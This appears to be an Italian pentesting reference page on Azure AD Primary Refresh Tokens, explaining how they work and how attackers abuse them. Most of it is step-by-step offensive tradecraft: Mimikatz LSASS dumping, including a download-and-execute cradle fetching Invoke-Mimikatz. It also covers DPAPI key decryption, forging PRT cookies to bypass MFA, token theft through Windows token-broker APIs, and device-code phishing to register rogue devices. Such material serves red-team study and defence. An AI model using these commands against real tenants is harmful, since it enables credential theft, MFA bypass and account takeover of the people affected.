Az - Primary Refresh Token (PRT)

Reading time: 20 minutes

Cos'è un Primary Refresh Token (PRT)?

Un Primary Refresh Token (PRT) è un token di refresh a lungo termine utilizzato nell'autenticazione di Azure AD (Entra ID), analogo a un Kerberos TGT. Viene emesso al momento del login dell'utente su un dispositivo unito ad Azure AD e può essere utilizzato per richiedere token di accesso per varie applicazioni senza richiedere nuovamente le credenziali. Ogni PRT è accompagnato da una session key (nota anche come Proof-of-Possession key) -- una chiave simmetrica utilizzata per firmare le richieste e dimostrare che il client possiede il PRT. Il PRT stesso è un blob opaco e crittografato (non leggibile dal client), mentre la session key viene utilizzata per firmare un JWT contenente il PRT quando si richiedono token. In altre parole, il possesso del PRT da solo non è sufficiente; un attaccante ha bisogno della session key per dimostrare la legittimità, simile alla necessità di avere sia un Kerberos TGT che la sua session key per l'autenticazione.

Su Windows, il PRT e la session key sono memorizzati nella cache nel processo LSASS tramite il plugin CloudAP. Se un dispositivo ha un TPM (Trusted Platform Module), Azure AD associa le chiavi al TPM per una maggiore sicurezza. Ciò significa che sui dispositivi dotati di TPM, la session key è memorizzata o utilizzata all'interno del TPM in modo tale che non possa essere letta direttamente dalla memoria in circostanze normali. Se non è disponibile alcun TPM (ad esempio, molte VM o sistemi più vecchi), le chiavi sono conservate nel software e protette con crittografia DPAPI. In entrambi i casi, un attaccante con privilegi amministrativi o esecuzione di codice sulla macchina può tentare di dumpare il PRT e la session key dalla memoria come parte della post-exploitation, e poi usarli per impersonare l'utente nel cloud. A differenza dei tipici token di refresh (che sono solitamente specifici per l'applicazione), un PRT è più ampio, consentendo al tuo dispositivo di richiedere token per quasi tutte le risorse o servizi integrati in Entra ID.

Come funziona un PRT?

Ecco una semplificazione di come opera un PRT:

1. Registrazione del Dispositivo:

• Quando il tuo dispositivo (come un laptop Windows o un telefono cellulare) si unisce o si registra con Entra ID, si autentica utilizzando le tue credenziali (nome utente/password/MFA).

• Dopo un'autenticazione riuscita, Entra ID emette un PRT specificamente legato al tuo dispositivo.

2. Memorizzazione del Token:

• Il PRT è memorizzato in modo sicuro sul tuo dispositivo, spesso protetto da funzionalità hardware come il Trusted Platform Module (TPM), garantendo che sia difficile per le parti non autorizzate estrarlo o abusarne.

3. Single Sign-On (SSO):

• Ogni volta che accedi a un'applicazione protetta da Entra ID (ad esempio, app Microsoft 365, SharePoint, Teams), il tuo dispositivo utilizza silenziosamente il PRT memorizzato per richiedere e ottenere un token di accesso specifico per quell'app.

• Non è necessario inserire ripetutamente le tue credenziali perché il PRT gestisce l'autenticazione in modo trasparente.

4. Rinnovo e Sicurezza:

• I PRT hanno una lunga durata (tipicamente intorno ai 14 giorni), ma vengono continuamente rinnovati finché il tuo dispositivo è attivamente in uso.

• Se il tuo dispositivo viene compromesso o perso, gli amministratori possono revocare il tuo PRT da remoto, bloccando immediatamente l'accesso non autorizzato.

Perché i PRT sono potenti?

• Accesso Universale: A differenza dei token tipici limitati a un'app o risorsa, un PRT può facilitare l'accesso a tutti i servizi integrati in Entra ID.

• Sicurezza Migliorata: Con protezioni hardware integrate (come il TPM), i PRT garantiscono una memorizzazione e un utilizzo sicuri dei token.

• Esperienza Utente: I PRT migliorano significativamente l'esperienza dell'utente riducendo le richieste di autenticazione frequenti e abilitando un vero SSO senza soluzione di continuità.

Come sapere se un PRT è presente?

• Controlla se il PRT è presente:

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Controlla se protetto da TPM:

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Passa il PRT

Secondo questo post sui dispositivi Windows senza binding TPM, il PRT e la sua chiave di sessione vivono in LSASS (CloudAP plug‑in). Con admin locale/SYSTEM su quel dispositivo, il blob PRT e la chiave di sessione crittografata con DPAPI possono essere letto da LSASS, la chiave di sessione decrittografata tramite DPAPI, e la chiave di firma derivata per coniare un cookie PRT valido (x‑ms‑RefreshTokenCredential). Hai bisogno sia del PRT che della sua chiave di sessione: la stringa PRT da sola non è sufficiente.

Mimikatz

1. Il PRT (Primary Refresh Token) viene estratto da LSASS (Local Security Authority Subsystem Service) e memorizzato per un uso successivo.
2. La Session Key viene estratta successivamente. Dato che questa chiave è inizialmente emessa e poi ri-cifrata dal dispositivo locale, richiede decrittografia utilizzando una chiave master DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: HackTricks e per comprendere la sua applicazione, fai riferimento all'attacco Pass-the-cookie.
3. Dopo la decrittografia della Session Key, la chiave derivata e il contesto per il PRT vengono ottenuti. Questi sono cruciali per la creazione del cookie PRT. In particolare, la chiave derivata viene utilizzata per firmare il JWT (JSON Web Token) che costituisce il cookie. Una spiegazione completa di questo processo è stata fornita da Dirk-jan, accessibile qui.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Il campo PRT contiene il token di refresh crittografato (tipicamente una stringa base64), e KeyValue nel ProofOfPossessionKey è la chiave di sessione crittografata con DPAPI (anch'essa base64).

Quindi, dall'output di sekurlsa::cloudap, copia il blob base64 da KeyValue all'interno del campo ProofOfPossessionKey (questa è la chiave di sessione crittografata con DPAPI). Questa chiave crittografata non può essere utilizzata così com'è – deve essere decrittografata utilizzando le credenziali DPAPI del sistema.

Poiché la crittografia DPAPI per i segreti di sistema richiede il contesto di sistema della macchina, eleva il tuo token a SYSTEM e utilizza il modulo DPAPI di Mimikatz per decrittografare:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Il token::elevate impersonerà il SYSTEM e il comando dpapi::cloudapkd con /unprotect utilizzerà la chiave master DPAPI per decrittografare il blob KeyValue fornito. Questo produce la chiave di sessione in chiaro e anche la Derived Key e il Context associati utilizzati per la firma:

• Chiave chiara – la chiave di sessione di 32 byte in testo normale (rappresentata come una stringa esadecimale).
• Derived Key – una chiave di 32 byte derivata dalla chiave di sessione e da un valore di contesto (di seguito maggiori dettagli).
• Context – un contesto casuale di 24 byte utilizzato durante la derivazione della chiave di firma per il cookie PRT.

Poi, puoi anche usare mimikatz per generare un cookie PRT valido:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz restituirà un JWT firmato (il PRT cookie) dopo la riga “Signature with key”, che contiene il PRT ed è firmato utilizzando la chiave derivata. Questo JWT può essere copiato e poi utilizzato in una sessione web. Ad esempio, un attaccante può aprire un browser, andare su login.microsoftonline.com e impostare un cookie chiamato x-ms-RefreshTokenCredential con il valore di questo JWT. Quando il browser si aggiorna o naviga, Azure AD tratterà la sessione come autenticata (il PRT cookie è presentato come se si fosse verificato SSO), e emetterà un codice di autorizzazione o un token di accesso per la risorsa specificata. In pratica, si navigerebbe verso una risorsa come Office 365 o il portale Azure; la presenza di un valido PRT cookie significa che Azure AD concederà accesso senza ulteriori login (bypassando MFA, poiché il PRT è già autenticato).

Potresti anche usare roadtx e roadrecon con il PRT del PRT cookie per impersonare l'utente (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

Il modulo PowerShell AADInternals può essere utilizzato anche con il PRT e la chiave di sessione ottenuti in precedenza per generare un token PRT valido. Questo è utile per automatizzare il processo di ottenimento di un nuovo token PRT con nonce, che può essere utilizzato per recuperare token di accesso per Azure AD Graph API o altre risorse:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Questo ottiene un cookie PRT fresco (con un nonce) e poi lo utilizza per recuperare un token di accesso per l'Azure AD Graph API (dimostrando l'accesso al cloud per conto dell'utente). AADInternals astrae gran parte della crittografia e utilizza componenti Windows o la propria logica in background.

Mimikatz + roadtx

• Rinnova prima il PRT, che verrà salvato in roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Ora possiamo richiedere token utilizzando il browser interattivo con roadtx browserprtauth. Se utilizziamo il comando roadtx describe, vediamo che il token di accesso include un'affermazione MFA perché il PRT che ho usato in questo caso aveva anche un'affermazione MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Avendo il contesto e la chiave derivata estratta da mimikatz, è possibile utilizzare roadrecon per generare un nuovo cookie firmato con:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abusare dei PRT protetti

Nonostante le protezioni menzionate, un attaccante che ha già compromesso un dispositivo (come utente locale o anche SYSTEM) può comunque abusare del PRT per ottenere nuovi token di accesso sfruttando le API e i componenti di sicurezza del broker di token di Windows. Invece di estrarre il PRT o la chiave grezza, l'attaccante essenzialmente "chiede" a Windows di utilizzare il PRT per suo conto. Nelle sezioni seguenti, delineiamo le tecniche attualmente valide per abusare dei PRT e delle loro chiavi di sessione su dispositivi Windows aggiornati dove sono in vigore le protezioni TPM. Tutte queste tecniche assumono accesso post-exploitation sulla macchina target e si concentrano sull'abuso dei flussi di autenticazione integrati (non sono necessarie vulnerabilità non corrette).

Architettura del Token Broker di Windows e Flusso SSO

I moderni Windows gestiscono l'autenticazione cloud tramite un token broker integrato, che include componenti sia in modalità utente che in LSASS (Local Security Authority). I pezzi chiave di questa architettura includono:

• Plugin CloudAP di LSASS: Quando un dispositivo è unito ad Azure AD, LSASS carica pacchetti di autenticazione cloud (ad es. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) che gestiscono i PRT e le richieste di token. LSASS (in esecuzione come SYSTEM) orchestra la memorizzazione, il rinnovo e l'uso del PRT, e interagisce con il TPM per eseguire operazioni crittografiche (come firmare una sfida PRT con la chiave di sessione).

• Web Account Manager (WAM): Il Windows Web Account Manager è un framework in modalità utente (accessibile tramite API COM/WinRT) che consente ad applicazioni o browser di richiedere token per account cloud senza richiedere credenziali. WAM funge da broker tra le applicazioni utente e il PRT protetto da LSASS/TPM. Ad esempio, la libreria MSAL di Microsoft e alcuni componenti del sistema operativo utilizzano WAM per acquisire silenziosamente token utilizzando il PRT dell'utente connesso.

• BrowserCore.exe e interfacce COM del Token Broker: Per SSO del browser, Windows include un componente chiamato BrowserCore.exe (situato sotto Windows Security\BrowserCore). Questo è un host di messaggistica nativo utilizzato dai browser (Edge, Chrome tramite un'estensione, ecc.) per ottenere un token SSO derivato dal PRT per il login ad Azure AD. Sotto il cofano, BrowserCore sfrutta un oggetto COM fornito da MicrosoftAccountTokenProvider.dll per recuperare un cookie/token basato su PRT. In sostanza, questa interfaccia COM è un'API "token broker" di prima parte che qualsiasi processo in esecuzione come utente può chiamare per ottenere un token SSO (a condizione che l'utente abbia un PRT valido in LSASS).

Quando un utente unito ad Azure AD cerca di accedere a una risorsa (ad esempio, il Portale Azure), il flusso è tipicamente: un'applicazione chiama l'interfaccia COM di WAM o BrowserCore, che a sua volta comunica con LSASS. LSASS utilizza il PRT e la chiave di sessione (protetta da TPM) per produrre un token SSO -- spesso chiamato cookie PRT -- che viene poi restituito all'applicazione o al browser. Il cookie PRT è un JWT speciale contenente il PRT crittografato e un nonce, firmato con una chiave derivata dalla chiave di sessione del PRT. Questo cookie viene inviato ad Azure AD (in un'intestazione x-ms-RefreshTokenCredential) per dimostrare che il dispositivo e l'utente possiedono un PRT valido, consentendo ad Azure AD di emettere token di accesso e refresh OAuth standard per varie applicazioni. È importante notare che qualsiasi richiesta di Autenticazione Multi-Fattore (MFA) presente nel PRT sarà trasferita nei token ottenuti tramite questo processo SSO, il che significa che i token derivati dal PRT possono soddisfare le risorse protette da MFA.

Furto di Token a Livello Utente (Non-Admin)

Quando un attaccante ha esecuzione di codice a livello utente, la protezione TPM del PRT non impedisce all'attaccante di ottenere token. L'attaccante sfrutta le API del Token Broker di Windows integrate:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore espone una classe COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) per recuperare i cookie PRT. Questa API COM è invocata legittimamente dai browser (estensioni Chrome/Edge) per SSO Azure AD.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Restituisce un token di aggiornamento Azure AD o un cookie PRT)

• ROADtoken & ROADtools

ROADtoken eseguirà BrowserCore.exe dalla directory corretta e lo utilizzerà per ottenere un cookie PRT. Questo cookie può poi essere utilizzato con ROADtools per autenticarsi e ottenere un token di aggiornamento persistente.

Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.
Puoi ottenerlo con:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

O utilizzando roadrecon:

roadrecon auth prt-init

Puoi quindi utilizzare roadtoken per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare):

.\ROADtoken.exe <nonce>

Come oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Puoi quindi utilizzare il cookie generato per generare token per accedere utilizzando Azure AD Graph o Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Gli attaccanti utilizzano librerie di autenticazione Microsoft legittime (MSAL, WAM APIs, WebAuthenticationCoreManager) da processi a livello utente per recuperare silenziosamente i token sfruttando il PRT protetto da TPM.

• aadprt

execute-assembly aadprt.exe

(Recupera il cookie PRT tramite interfacce COM)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Elenca gli account Azure AD connessi tramite WAM; identifica i target dei token)

• Esempio Generico (PowerShell con MSAL):

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Silenziosamente ottiene un token di accesso sfruttando il PRT)

Abuso di Token a Livello Amministratore / SYSTEM

Se l'attaccante si eleva a Amministratore o SYSTEM, può impersonare direttamente qualsiasi utente connesso ad Azure AD e utilizzare le stesse API del broker di token COM/WAM. I PRT protetti da TPM non impediscono questa emissione legittima di token.

Impersonificazione dell'Utente e Recupero del Token

Admin/SYSTEM potrebbe impersonare le sessioni in esecuzione di altri utenti per invocare BrowserCore o WAM per la generazione del token.

Per questo basta impersonare il processo utente (ad es., explorer.exe) e invocare le API del broker di token utilizzando qualsiasi tecnica commentata nella sezione precedente.

Interazione Diretta con LSASS e Broker di Token (Avanzato)

Un amministratore può ancora lavorare con LSASS per abusare del PRT: ad esempio, un admin potrebbe iniettare codice in LSASS o chiamare funzioni interne di CloudAP per indurre LSASS a produrre un token. La ricerca di Dirk-jan ha notato che un admin può “interagire con le chiavi PRT in LSASS utilizzando API crittografiche”. In pratica, questo potrebbe significare utilizzare le funzioni di LSASS (tramite una tecnica come l'API hooking o RPC, se disponibile) per generare un cookie PRT. Un altro approccio è sfruttare qualsiasi finestra in cui la chiave di sessione potrebbe apparire in memoria – ad esempio, nel momento del rinnovo del PRT o della registrazione del dispositivo quando è decrittografato per l'uso. Tali attacchi sono notevolmente più complessi e situazionali. Una tattica più diretta per l'amministratore è abusare degli handle di token o delle cache esistenti: LSASS memorizza nella cache i token di aggiornamento recentemente emessi per le app in memoria (crittografati con DPAPI). Un attaccante SYSTEM determinato potrebbe tentare di estrarre questi token protetti da DPAPI (utilizzando la chiave master dell'utente, che un admin può ottenere) per rubare direttamente i token di aggiornamento per applicazioni specifiche. Tuttavia, il metodo più semplice e generico rimane l'impersonificazione e l'uso delle interfacce del broker di token documentate, poiché queste garantiscono che Azure AD emetta nuovi token (con tutte le rivendicazioni appropriate) piuttosto che tentare di decifrare la crittografia.

Phishing dei PRT

Abusa del flusso OAuth Device Code utilizzando l'ID client del Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) e la risorsa del Device Registration Service (DRS) per ottenere un token di aggiornamento che può essere aggiornato a un Primary Refresh Token (PRT) dopo aver registrato un dispositivo malevolo.

Perché funziona

• PRT è legato al dispositivo e consente SSO per (quasi) qualsiasi app protetta da Entra.
• La combinazione Broker client + DRS consente a un token di aggiornamento rubato di essere scambiato per un PRT una volta registrato un dispositivo.
• MFA non viene bypassato: l'utente esegue MFA durante il phishing; le rivendicazioni MFA si propagano nel PRT risultante, consentendo all'attaccante di accedere alle app senza ulteriori richieste.

Prerequisiti:

• Autenticazione utente tramite Device Code utilizzando l'ID client del Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) e le scopes/risorse DRS (ad es., 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default o https://enrollment.manage.microsoft.com/).
• L'utente può registrare dispositivi in Entra ID (predefinito: consentito, ma può essere limitato o soggetto a quota).
• Nessuna politica CA di blocco che disabiliti il Device Code o richieda dispositivi conformi/ibridi per le app target (queste non fermeranno l'emissione del PRT, ma bloccheranno l'uso per accedere alle app protette).
• Host controllato dall'attaccante per eseguire il flusso e mantenere i token/le chiavi del dispositivo.

Flusso di Attacco:

1. Iniziare l'autenticazione con Device Code con client_id = Broker e scopo/risorsa DRS; mostrare il codice utente alla vittima.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. La vittima accede al sito di Microsoft (UI legittima) e completa MFA → l'attaccante riceve un token di refresh con ambito DRS per il client Broker.

3. Registrare un dispositivo malevolo nel tenant utilizzando quel token di refresh (l'oggetto dispositivo viene creato e collegato alla vittima).

4. Aggiornare a un PRT scambiando il token di refresh + identità/chiavi del dispositivo → PRT legato al dispositivo dell'attaccante.

5. (Persistenza opzionale): se l'MFA era recente, registrare una chiave Windows Hello for Business per mantenere accesso a lungo termine senza password.

6. Abuso: riscattare il PRT (o coniare un cookie PRT) per ottenere token di accesso per Exchange/Graph/SharePoint/Teams/app personalizzate come l'utente.

Strumenti Pubblici e Proof-of-Concept

• ROADtools/ROADtx: Automatizza il flusso OAuth, la registrazione dei dispositivi e gli aggiornamenti dei token.
• DeviceCode2WinHello: Script a comando singolo che automatizza il phishing del codice dispositivo in chiavi PRT+WHfB.

Riferimenti

• Post di Dirkjan su PRT
• Post di Dirkjan sul phishing dei PRT
• Post di Dirkjan sull'abuso dei PRT
• Post di SpecterOps su Richiesta di Token di Richiesta Azure AD
• Post di AADInternals sui PRT
• blog.3or.de